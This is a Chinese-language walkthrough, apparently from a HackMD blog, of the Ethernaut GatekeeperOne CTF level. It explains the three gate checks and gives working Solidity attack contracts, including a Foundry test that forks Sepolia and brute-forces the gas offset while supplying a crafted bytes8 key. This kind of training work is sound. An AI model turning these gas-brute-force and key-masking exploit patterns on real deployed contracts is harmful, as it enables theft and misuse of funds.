跨越守衛的守衛並且註冊成為參賽者吧。
可能會有用的資訊
回憶一下你在 Telephone 和 Token 關卡學到了什麼
可以去翻翻 Solidity 文件,更深入的了解一下 gasleft()
函式的資訊
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
此題難度開始增加,從modifier可以看到有三個關卡要通過
require(msg.sender != tx.origin);
相對簡單,只要寫個合約,用Metamask呼叫即可達成條件
require(gasleft() % 8191 == 0);
在呼叫這個modifier的時候,所剩的gas需要能被8191整除
這邊我的對應方式是用暴力破解
我們可以用forloop去觀看循環到踏入gateThree()
的時候的fail revert
Learn More →
簡化一下code,一個 uint64 (byte8) 的 key要滿足以下三個條件
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
uint32(uint64(_gateKey)) != uint64(_gateKey)
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))
以我的錢包末四碼是0939
可以構造一個 key 0xFFFFFFFF00000939
來達成
綜觀上述思路,可以寫個簡單的合約如下
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Hack{
function attack_() public {
bytes8 key = 0xFFFFFFFF00000939;
for (uint256 i = 250; i < 500; i++) {
(bool result,) = address(<INSTANCE>).call{gas:i + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
if (result) {
break;
}
}
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "../src/levels/13-GatekeeperOne/GatekeeperOne.sol";
contract ContractTest is Test {
AttackContract attackContract;
GatekeeperOne level13 =
GatekeeperOne(payable(0x0eDF7E447741A21ED33F14C13842639910F36c8b));
function setUp() public {
Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
vm.createSelectFork(vm.rpcUrl("sepolia"));
vm.label(address(this), "Attacker");
vm.label(
address(0x0eDF7E447741A21ED33F14C13842639910F36c8b),
"Ethernaut13"
);
attackContract = new AttackContract();
}
function testEthernaut13() public {
attackContract.enter();
}
receive() external payable {}
}
contract AttackContract {
GatekeeperOne level13 =
GatekeeperOne(payable(0x0eDF7E447741A21ED33F14C13842639910F36c8b));
function enter() public {
bytes8 _gateKey = bytes8(uint64(uint160(tx.origin))) &
0xffffffff0000ffff;
for (uint256 i = 0; i < 300; i++) {
(bool result, ) = address(level13).call{gas: i + 8191 * 3}(
abi.encodeWithSignature("enter(bytes8)", _gateKey)
);
if (result) {
// example: i = 256 with key 0x83f33e0700001f38
console.log(i);
break;
}
}
}
}
Intro a Synthetix 是一個DeFi合成資產的 protocol,允許用戶 mint 和交易各種與現實世界資產(RWA)掛鉤的合成代幣 (Synth) 法幣 加密貨幣 - 例如 sKRW (韓元), sETH以及原生token SNX 大宗商品 整個系統的合成資產價格來自於預言機 (Oracle) 提供的外部資料,例如匯率、商品或加密貨幣的價格。
Feb 20, 2025Ethernaut Walkthrough
Jan 10, 2025仔細看下面的合約程式碼。
Sep 19, 2024這個合約的開發者非常小心的保護了 storage 敏感資料的區域.
Sep 19, 2024or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up